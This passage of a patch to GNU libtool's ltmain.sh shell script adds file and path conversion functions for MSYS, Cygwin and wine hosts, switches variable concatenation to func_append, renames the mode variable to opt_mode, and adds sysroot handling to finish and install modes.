++# end func_convert_file_noop
++
++
++# func_convert_file_msys_to_w32 ARG
++# Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic
++# conversion to w32 is not available inside the cwrapper. Returns result in
++# func_to_host_file_result.
++func_convert_file_msys_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_msys_to_w32 "$1"
++ func_to_host_file_result="$func_convert_core_msys_to_w32_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_msys_to_w32
++
++
++# func_convert_file_cygwin_to_w32 ARG
++# Convert file name ARG from Cygwin to w32 format. Returns result in
++# func_to_host_file_result.
++func_convert_file_cygwin_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ # because $build is cygwin, we call "the" cygpath in $PATH; no need to use
++ # LT_CYGPATH in this case.
++ func_to_host_file_result=`cygpath -m "$1"`
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_cygwin_to_w32
++
++
++# func_convert_file_nix_to_w32 ARG
++# Convert file name ARG from *nix to w32 format. Requires a wine environment
++# and a working winepath. Returns result in func_to_host_file_result.
++func_convert_file_nix_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_file_wine_to_w32 "$1"
++ func_to_host_file_result="$func_convert_core_file_wine_to_w32_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_nix_to_w32
++
++
++# func_convert_file_msys_to_cygwin ARG
++# Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
++# Returns result in func_to_host_file_result.
++func_convert_file_msys_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_msys_to_w32 "$1"
++ func_cygpath -u "$func_convert_core_msys_to_w32_result"
++ func_to_host_file_result="$func_cygpath_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_msys_to_cygwin
++
++
++# func_convert_file_nix_to_cygwin ARG
++# Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed
++# in a wine environment, working winepath, and LT_CYGPATH set. Returns result
++# in func_to_host_file_result.
++func_convert_file_nix_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ # convert from *nix to w32, then use cygpath to convert from w32 to cygwin.
++ func_convert_core_file_wine_to_w32 "$1"
++ func_cygpath -u "$func_convert_core_file_wine_to_w32_result"
++ func_to_host_file_result="$func_cygpath_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_nix_to_cygwin
++
++
++#############################################
++# $build to $host PATH CONVERSION FUNCTIONS #
++#############################################
++# invoked via `$to_host_path_cmd ARG'
++#
++# In each case, ARG is the path to be converted from $build to $host format.
++# The result will be available in $func_to_host_path_result.
++#
++# Path separators are also converted from $build format to $host format. If
++# ARG begins or ends with a path separator character, it is preserved (but
++# converted to $host format) on output.
++#
++# All path conversion functions are named using the following convention:
++# file name conversion function : func_convert_file_X_to_Y ()
++# path conversion function : func_convert_path_X_to_Y ()
++# where, for any given $build/$host combination the 'X_to_Y' value is the
++# same. If conversion functions are added for new $build/$host combinations,
++# the two new functions must follow this pattern, or func_init_to_host_path_cmd
++# will break.
++
++
++# func_init_to_host_path_cmd
++# Ensures that function "pointer" variable $to_host_path_cmd is set to the
++# appropriate value, based on the value of $to_host_file_cmd.
++to_host_path_cmd=
++func_init_to_host_path_cmd ()
++{
++ $opt_debug
++ if test -z "$to_host_path_cmd"; then
++ func_stripname 'func_convert_file_' '' "$to_host_file_cmd"
++ to_host_path_cmd="func_convert_path_${func_stripname_result}"
++ fi
++}
++
++
++# func_to_host_path ARG
++# Converts the path ARG from $build format to $host format. Return result
++# in func_to_host_path_result.
++func_to_host_path ()
++{
++ $opt_debug
++ func_init_to_host_path_cmd
++ $to_host_path_cmd "$1"
++}
++# end func_to_host_path
++
++
++# func_convert_path_noop ARG
++# Copy ARG to func_to_host_path_result.
++func_convert_path_noop ()
++{
++ func_to_host_path_result="$1"
++}
++# end func_convert_path_noop
++
++
++# func_convert_path_msys_to_w32 ARG
++# Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic
++# conversion to w32 is not available inside the cwrapper. Returns result in
++# func_to_host_path_result.
++func_convert_path_msys_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # Remove leading and trailing path separator characters from ARG. MSYS
++ # behavior is inconsistent here; cygpath turns them into '.;' and ';.';
++ # and winepath ignores them completely.
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
++ func_to_host_path_result="$func_convert_core_msys_to_w32_result"
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_msys_to_w32
++
++
++# func_convert_path_cygwin_to_w32 ARG
++# Convert path ARG from Cygwin to w32 format. Returns result in
++# func_to_host_file_result.
++func_convert_path_cygwin_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"`
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_cygwin_to_w32
++
++
++# func_convert_path_nix_to_w32 ARG
++# Convert path ARG from *nix to w32 format. Requires a wine environment and
++# a working winepath. Returns result in func_to_host_file_result.
++func_convert_path_nix_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
++ func_to_host_path_result="$func_convert_core_path_wine_to_w32_result"
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_nix_to_w32
++
++
++# func_convert_path_msys_to_cygwin ARG
++# Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
++# Returns result in func_to_host_file_result.
++func_convert_path_msys_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
++ func_cygpath -u -p "$func_convert_core_msys_to_w32_result"
++ func_to_host_path_result="$func_cygpath_result"
++ func_convert_path_check : : \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
++ fi
++}
++# end func_convert_path_msys_to_cygwin
++
++
++# func_convert_path_nix_to_cygwin ARG
++# Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a
++# a wine environment, working winepath, and LT_CYGPATH set. Returns result in
++# func_to_host_file_result.
++func_convert_path_nix_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # Remove leading and trailing path separator characters from
++ # ARG. msys behavior is inconsistent here, cygpath turns them
++ # into '.;' and ';.', and winepath ignores them completely.
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
++ func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result"
++ func_to_host_path_result="$func_cygpath_result"
++ func_convert_path_check : : \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
++ fi
++}
++# end func_convert_path_nix_to_cygwin
++
++
+ # func_mode_compile arg...
+ func_mode_compile ()
+ {
+@@ -1314,12 +1985,12 @@ func_mode_compile ()
+ ;;
+
+ -pie | -fpie | -fPIE)
+- pie_flag="$pie_flag $arg"
++ func_append pie_flag " $arg"
+ continue
+ ;;
+
+ -shared | -static | -prefer-pic | -prefer-non-pic)
+- later="$later $arg"
++ func_append later " $arg"
+ continue
+ ;;
+
+@@ -1340,15 +2011,14 @@ func_mode_compile ()
+ save_ifs="$IFS"; IFS=','
+ for arg in $args; do
+ IFS="$save_ifs"
+- func_quote_for_eval "$arg"
+- lastarg="$lastarg $func_quote_for_eval_result"
++ func_append_quoted lastarg "$arg"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$lastarg"
+ lastarg=$func_stripname_result
+
+ # Add the arguments to base_compile.
+- base_compile="$base_compile $lastarg"
++ func_append base_compile " $lastarg"
+ continue
+ ;;
+
+@@ -1364,8 +2034,7 @@ func_mode_compile ()
+ esac # case $arg_mode
+
+ # Aesthetically quote the previous argument.
+- func_quote_for_eval "$lastarg"
+- base_compile="$base_compile $func_quote_for_eval_result"
++ func_append_quoted base_compile "$lastarg"
+ done # for arg
+
+ case $arg_mode in
+@@ -1496,17 +2165,16 @@ compiler."
+ $opt_dry_run || $RM $removelist
+ exit $EXIT_FAILURE
+ fi
+- removelist="$removelist $output_obj"
++ func_append removelist " $output_obj"
+ $ECHO "$srcfile" > "$lockfile"
+ fi
+
+ $opt_dry_run || $RM $removelist
+- removelist="$removelist $lockfile"
++ func_append removelist " $lockfile"
+ trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15
+
+- if test -n "$fix_srcfile_path"; then
+- eval "srcfile=\"$fix_srcfile_path\""
+- fi
++ func_to_tool_file "$srcfile" func_convert_file_msys_to_w32
++ srcfile=$func_to_tool_file_result
+ func_quote_for_eval "$srcfile"
+ qsrcfile=$func_quote_for_eval_result
+
+@@ -1526,7 +2194,7 @@ compiler."
+
+ if test -z "$output_obj"; then
+ # Place PIC objects in $objdir
+- command="$command -o $lobj"
++ func_append command " -o $lobj"
+ fi
+
+ func_show_eval_locale "$command" \
+@@ -1573,11 +2241,11 @@ compiler."
+ command="$base_compile $qsrcfile $pic_flag"
+ fi
+ if test "$compiler_c_o" = yes; then
+- command="$command -o $obj"
++ func_append command " -o $obj"
+ fi
+
+ # Suppress compiler output if we already did a PIC compilation.
+- command="$command$suppress_output"
++ func_append command "$suppress_output"
+ func_show_eval_locale "$command" \
+ '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE'
+
+@@ -1622,13 +2290,13 @@ compiler."
+ }
+
+ $opt_help || {
+- test "$mode" = compile && func_mode_compile ${1+"$@"}
++ test "$opt_mode" = compile && func_mode_compile ${1+"$@"}
+ }
+
+ func_mode_help ()
+ {
+ # We need to display help for each of the modes.
+- case $mode in
++ case $opt_mode in
+ "")
+ # Generic help is extracted from the usage comments
+ # at the start of this file.
+@@ -1659,8 +2327,8 @@ This mode accepts the following additional options:
+
+ -o OUTPUT-FILE set the output file name to OUTPUT-FILE
+ -no-suppress do not suppress compiler output for multiple passes
+- -prefer-pic try to building PIC objects only
+- -prefer-non-pic try to building non-PIC objects only
++ -prefer-pic try to build PIC objects only
++ -prefer-non-pic try to build non-PIC objects only
+ -shared do not build a \`.o' file suitable for static linking
+ -static only build a \`.o' file suitable for static linking
+ -Wc,FLAG pass FLAG directly to the compiler
+@@ -1804,7 +2472,7 @@ Otherwise, only FILE itself is deleted using RM."
+ ;;
+
+ *)
+- func_fatal_help "invalid operation mode \`$mode'"
++ func_fatal_help "invalid operation mode \`$opt_mode'"
+ ;;
+ esac
+
+@@ -1819,13 +2487,13 @@ if $opt_help; then
+ else
+ {
+ func_help noexit
+- for mode in compile link execute install finish uninstall clean; do
++ for opt_mode in compile link execute install finish uninstall clean; do
+ func_mode_help
+ done
+ } | sed -n '1p; 2,$s/^Usage:/ or: /p'
+ {
+ func_help noexit
+- for mode in compile link execute install finish uninstall clean; do
++ for opt_mode in compile link execute install finish uninstall clean; do
+ echo
+ func_mode_help
+ done
+@@ -1854,13 +2522,16 @@ func_mode_execute ()
+ func_fatal_help "you must specify a COMMAND"
+
+ # Handle -dlopen flags immediately.
+- for file in $execute_dlfiles; do
++ for file in $opt_dlopen; do
+ test -f "$file" \
+ || func_fatal_help "\`$file' is not a file"
+
+ dir=
+ case $file in
+ *.la)
++ func_resolve_sysroot "$file"
++ file=$func_resolve_sysroot_result
++
+ # Check to see that this really is a libtool archive.
+ func_lalib_unsafe_p "$file" \
+ || func_fatal_help "\`$lib' is not a valid libtool archive"
+@@ -1882,7 +2553,7 @@ func_mode_execute ()
+ dir="$func_dirname_result"
+
+ if test -f "$dir/$objdir/$dlname"; then
+- dir="$dir/$objdir"
++ func_append dir "/$objdir"
+ else
+ if test ! -f "$dir/$dlname"; then
+ func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'"
+@@ -1907,10 +2578,10 @@ func_mode_execute ()
+ test -n "$absdir" && dir="$absdir"
+
+ # Now add the directory to shlibpath_var.
+- if eval test -z \"\$$shlibpath_var\"; then
+- eval $shlibpath_var=\$dir
++ if eval "test -z \"\$$shlibpath_var\""; then
++ eval "$shlibpath_var=\"\$dir\""
+ else
+- eval $shlibpath_var=\$dir:\$$shlibpath_var
++ eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
+ fi
+ done
+
+@@ -1939,8 +2610,7 @@ func_mode_execute ()
+ ;;
+ esac
+ # Quote arguments (to preserve shell metacharacters).
+- func_quote_for_eval "$file"
+- args="$args $func_quote_for_eval_result"
++ func_append_quoted args "$file"
+ done
+
+ if test "X$opt_dry_run" = Xfalse; then
+@@ -1972,22 +2642,59 @@ func_mode_execute ()
+ fi
+ }
+
+-test "$mode" = execute && func_mode_execute ${1+"$@"}
++test "$opt_mode" = execute && func_mode_execute ${1+"$@"}
+
+
+ # func_mode_finish arg...
+ func_mode_finish ()
+ {
+ $opt_debug
+- libdirs="$nonopt"
++ libs=
++ libdirs=
+ admincmds=
+
+- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
+- for dir
+- do
+- libdirs="$libdirs $dir"
+- done
++ for opt in "$nonopt" ${1+"$@"}
++ do
++ if test -d "$opt"; then
++ func_append libdirs " $opt"
+
++ elif test -f "$opt"; then
++ if func_lalib_unsafe_p "$opt"; then
++ func_append libs " $opt"
++ else
++ func_warning "\`$opt' is not a valid libtool archive"
++ fi
++
++ else
++ func_fatal_error "invalid argument \`$opt'"
++ fi
++ done
++
++ if test -n "$libs"; then
++ if test -n "$lt_sysroot"; then
++ sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"`
++ sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;"
++ else
++ sysroot_cmd=
++ fi
++
++ # Remove sysroot references
++ if $opt_dry_run; then
++ for lib in $libs; do
++ echo "removing references to $lt_sysroot and \`=' prefixes from $lib"
++ done
++ else
++ tmpdir=`func_mktempdir`
++ for lib in $libs; do
++ sed -e "${sysroot_cmd} s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \
++ > $tmpdir/tmp-la
++ mv -f $tmpdir/tmp-la $lib
++ done
++ ${RM}r "$tmpdir"
++ fi
++ fi
++
++ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
+ for libdir in $libdirs; do
+ if test -n "$finish_cmds"; then
+ # Do each command in the finish commands.
+@@ -1997,7 +2704,7 @@ func_mode_finish ()
+ if test -n "$finish_eval"; then
+ # Do the single finish_eval.
+ eval cmds=\"$finish_eval\"
+- $opt_dry_run || eval "$cmds" || admincmds="$admincmds
++ $opt_dry_run || eval "$cmds" || func_append admincmds "
+ $cmds"
+ fi
+ done
+@@ -2006,53 +2713,55 @@ func_mode_finish ()
+ # Exit here if they wanted silent mode.
+ $opt_silent && exit $EXIT_SUCCESS
+
+- echo "----------------------------------------------------------------------"
+- echo "Libraries have been installed in:"
+- for libdir in $libdirs; do
+- $ECHO " $libdir"
+- done
+- echo
+- echo "If you ever happen to want to link against installed libraries"
+- echo "in a given directory, LIBDIR, you must either use libtool, and"
+- echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
+- echo "flag during linking and do at least one of the following:"
+- if test -n "$shlibpath_var"; then
+- echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
+- echo " during execution"
+- fi
+- if test -n "$runpath_var"; then
+- echo " - add LIBDIR to the \`$runpath_var' environment variable"
+- echo " during linking"
+- fi
+- if test -n "$hardcode_libdir_flag_spec"; then
+- libdir=LIBDIR
+- eval "flag=\"$hardcode_libdir_flag_spec\""
++ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
++ echo "----------------------------------------------------------------------"
++ echo "Libraries have been installed in:"
++ for libdir in $libdirs; do
++ $ECHO " $libdir"
++ done
++ echo
++ echo "If you ever happen to want to link against installed libraries"
++ echo "in a given directory, LIBDIR, you must either use libtool, and"
++ echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
++ echo "flag during linking and do at least one of the following:"
++ if test -n "$shlibpath_var"; then
++ echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
++ echo " during execution"
++ fi
++ if test -n "$runpath_var"; then
++ echo " - add LIBDIR to the \`$runpath_var' environment variable"
++ echo " during linking"
++ fi
++ if test -n "$hardcode_libdir_flag_spec"; then
++ libdir=LIBDIR
++ eval flag=\"$hardcode_libdir_flag_spec\"
+
+- $ECHO " - use the \`$flag' linker flag"
+- fi
+- if test -n "$admincmds"; then
+- $ECHO " - have your system administrator run these commands:$admincmds"
+- fi
+- if test -f /etc/ld.so.conf; then
+- echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
+- fi
+- echo
++ $ECHO " - use the \`$flag' linker flag"
++ fi
++ if test -n "$admincmds"; then
++ $ECHO " - have your system administrator run these commands:$admincmds"
++ fi
++ if test -f /etc/ld.so.conf; then
++ echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
++ fi
++ echo
+
+- echo "See any operating system documentation about shared libraries for"
+- case $host in
+- solaris2.[6789]|solaris2.1[0-9])
+- echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
+- echo "pages."
+- ;;
+- *)
+- echo "more information, such as the ld(1) and ld.so(8) manual pages."
+- ;;
+- esac
+- echo "----------------------------------------------------------------------"
++ echo "See any operating system documentation about shared libraries for"
++ case $host in
++ solaris2.[6789]|solaris2.1[0-9])
++ echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
++ echo "pages."
++ ;;
++ *)
++ echo "more information, such as the ld(1) and ld.so(8) manual pages."
++ ;;
++ esac
++ echo "----------------------------------------------------------------------"
++ fi
+ exit $EXIT_SUCCESS
+ }
+
+-test "$mode" = finish && func_mode_finish ${1+"$@"}
++test "$opt_mode" = finish && func_mode_finish ${1+"$@"}
+
+
+ # func_mode_install arg...
+@@ -2077,7 +2786,7 @@ func_mode_install ()
+ # The real first argument should be the name of the installation program.
+ # Aesthetically quote it.
+ func_quote_for_eval "$arg"
+- install_prog="$install_prog$func_quote_for_eval_result"
++ func_append install_prog "$func_quote_for_eval_result"
+ install_shared_prog=$install_prog
+ case " $install_prog " in
+ *[\\\ /]cp\ *) install_cp=: ;;
+@@ -2097,7 +2806,7 @@ func_mode_install ()
+ do
+ arg2=
+ if test -n "$dest"; then
+- files="$files $dest"
++ func_append files " $dest"
+ dest=$arg
+ continue
+ fi
+@@ -2135,11 +2844,11 @@ func_mode_install ()
+
+ # Aesthetically quote the argument.
+ func_quote_for_eval "$arg"
+- install_prog="$install_prog $func_quote_for_eval_result"
++ func_append install_prog " $func_quote_for_eval_result"
+ if test -n "$arg2"; then
+ func_quote_for_eval "$arg2"
+ fi
+- install_shared_prog="$install_shared_prog $func_quote_for_eval_result"
++ func_append install_shared_prog " $func_quote_for_eval_result"
+ done
+
+ test -z "$install_prog" && \
+@@ -2151,7 +2860,7 @@ func_mode_install ()
+ if test -n "$install_override_mode" && $no_mode; then
+ if $install_cp; then :; else
+ func_quote_for_eval "$install_override_mode"
+- install_shared_prog="$install_shared_prog -m $func_quote_for_eval_result"
++ func_append install_shared_prog " -m $func_quote_for_eval_result"
+ fi
+ fi
+
+@@ -2209,10 +2918,13 @@ func_mode_install ()
+ case $file in
+ *.$libext)
+ # Do the static libraries later.
+- staticlibs="$staticlibs $file"
++ func_append staticlibs " $file"
+ ;;
+
+ *.la)
++ func_resolve_sysroot "$file"
++ file=$func_resolve_sysroot_result
++
+ # Check to see that this really is a libtool archive.
+ func_lalib_unsafe_p "$file" \
+ || func_fatal_help "\`$file' is not a valid libtool archive"
+@@ -2226,23 +2938,30 @@ func_mode_install ()
+ if test "X$destdir" = "X$libdir"; then
+ case "$current_libdirs " in
+ *" $libdir "*) ;;
+- *) current_libdirs="$current_libdirs $libdir" ;;
++ *) func_append current_libdirs " $libdir" ;;
+ esac
+ else
+ # Note the libdir as a future libdir.
+ case "$future_libdirs " in
+ *" $libdir "*) ;;
+- *) future_libdirs="$future_libdirs $libdir" ;;
++ *) func_append future_libdirs " $libdir" ;;
+ esac
+ fi
+
+ func_dirname "$file" "/" ""
+ dir="$func_dirname_result"
+- dir="$dir$objdir"
++ func_append dir "$objdir"
+
+ if test -n "$relink_command"; then
++ # Strip any trailing slash from the destination.
++ func_stripname '' '/' "$libdir"
++ destlibdir=$func_stripname_result
++
++ func_stripname '' '/' "$destdir"
++ s_destdir=$func_stripname_result
++
+ # Determine the prefix the user has applied to our future dir.
+- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
++ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
+
+ # Don't allow the user to place us outside of our expected
+ # location b/c this prevents finding dependent libraries that
+@@ -2315,7 +3034,7 @@ func_mode_install ()
+ func_show_eval "$install_prog $instname $destdir/$name" 'exit $?'
+
+ # Maybe install the static library, too.
+- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
++ test -n "$old_library" && func_append staticlibs " $dir/$old_library"
+ ;;
+
+ *.lo)
+@@ -2503,7 +3222,7 @@ func_mode_install ()
+ test -n "$future_libdirs" && \
+ func_warning "remember to run \`$progname --finish$future_libdirs'"
+
+- if test -n "$current_libdirs" && $opt_finish; then
++ if test -n "$current_libdirs"; then
+ # Maybe just do a dry run.
+ $opt_dry_run && current_libdirs=" -n$current_libdirs"
+ exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
+@@ -2512,7 +3231,7 @@ func_mode_install ()
+ fi
+ }
+
+-test "$mode" = install && func_mode_install ${1+"$@"}
++test "$opt_mode" = install && func_mode_install ${1+"$@"}
+
+
+ # func_generate_dlsyms outputname originator pic_p
+@@ -2559,6 +3278,18 @@ extern \"C\" {
+ #pragma GCC diagnostic ignored \"-Wstrict-prototypes\"
+ #endif
+
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ /* External symbol declarations for the compiler. */\
+ "
+
+@@ -2570,21 +3301,22 @@ extern \"C\" {
+ # Add our own program objects to the symbol list.
+ progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | $NL2SP`
+ for progfile in $progfiles; do
+- func_verbose "extracting global C symbols from \`$progfile'"
+- $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'"
++ func_to_tool_file "$progfile" func_convert_file_msys_to_w32
++ func_verbose "extracting global C symbols from \`$func_to_tool_file_result'"
++ $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'"
+ done
+
+ if test -n "$exclude_expsyms"; then
+ $opt_dry_run || {
+- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ }
+ fi
+
+ if test -n "$export_symbols_regex"; then
+ $opt_dry_run || {
+- $EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ }
+ fi
+
+@@ -2593,23 +3325,23 @@ extern \"C\" {
+ export_symbols="$output_objdir/$outputname.exp"
+ $opt_dry_run || {
+ $RM $export_symbols
+- ${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' < "$nlist" > "$export_symbols"
++ eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
+ case $host in
+ *cygwin* | *mingw* | *cegcc* )
+- echo EXPORTS > "$output_objdir/$outputname.def"
+- cat "$export_symbols" >> "$output_objdir/$outputname.def"
++ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
++ eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
+ ;;
+ esac
+ }
+ else
+ $opt_dry_run || {
+- ${SED} -e 's/\([].[*^$]\)/\\\1/g' -e 's/^/ /' -e 's/$/$/' < "$export_symbols" > "$output_objdir/$outputname.exp"
+- $GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
++ eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ case $host in
+ *cygwin* | *mingw* | *cegcc* )
+- echo EXPORTS > "$output_objdir/$outputname.def"
+- cat "$nlist" >> "$output_objdir/$outputname.def"
++ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
++ eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
+ ;;
+ esac
+ }
+@@ -2620,10 +3352,52 @@ extern \"C\" {
+ func_verbose "extracting global C symbols from \`$dlprefile'"
+ func_basename "$dlprefile"
+ name="$func_basename_result"
+- $opt_dry_run || {
+- $ECHO ": $name " >> "$nlist"
+- eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'"
+- }
++ case $host in
++ *cygwin* | *mingw* | *cegcc* )
++ # if an import library, we need to obtain dlname
++ if func_win32_import_lib_p "$dlprefile"; then
++ func_tr_sh "$dlprefile"
++ eval "curr_lafile=\$libfile_$func_tr_sh_result"
++ dlprefile_dlbasename=""
++ if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then
++ # Use subshell, to avoid clobbering current variable values
++ dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"`
++ if test -n "$dlprefile_dlname" ; then
++ func_basename "$dlprefile_dlname"
++ dlprefile_dlbasename="$func_basename_result"
++ else
++ # no lafile. user explicitly requested -dlpreopen <import library>.
++ $sharedlib_from_linklib_cmd "$dlprefile"
++ dlprefile_dlbasename=$sharedlib_from_linklib_result
++ fi
++ fi
++ $opt_dry_run || {
++ if test -n "$dlprefile_dlbasename" ; then
++ eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"'
++ else
++ func_warning "Could not compute DLL name from $name"
++ eval '$ECHO ": $name " >> "$nlist"'
++ fi
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe |
++ $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'"
++ }
++ else # not an import lib
++ $opt_dry_run || {
++ eval '$ECHO ": $name " >> "$nlist"'
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
++ }
++ fi
++ ;;
++ *)
++ $opt_dry_run || {
++ eval '$ECHO ": $name " >> "$nlist"'
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
++ }
++ ;;
++ esac
+ done
+
+ $opt_dry_run || {
+@@ -2661,26 +3435,9 @@ typedef struct {
+ const char *name;
+ void *address;
+ } lt_dlsymlist;
+-"
+- case $host in
+- *cygwin* | *mingw* | *cegcc* )
+- echo >> "$output_objdir/$my_dlsyms" "\
+-/* DATA imports from DLLs on WIN32 con't be const, because
+- runtime relocations are performed -- see ld's documentation
+- on pseudo-relocs. */"
+- lt_dlsym_const= ;;
+- *osf5*)
+- echo >> "$output_objdir/$my_dlsyms" "\
+-/* This system does not cope well with relocations in const data */"
+- lt_dlsym_const= ;;
+- *)
+- lt_dlsym_const=const ;;
+- esac
+-
+- echo >> "$output_objdir/$my_dlsyms" "\
+-extern $lt_dlsym_const lt_dlsymlist
++extern LT_DLSYM_CONST lt_dlsymlist
+ lt_${my_prefix}_LTX_preloaded_symbols[];
+-$lt_dlsym_const lt_dlsymlist
++LT_DLSYM_CONST lt_dlsymlist
+ lt_${my_prefix}_LTX_preloaded_symbols[] =
+ {\
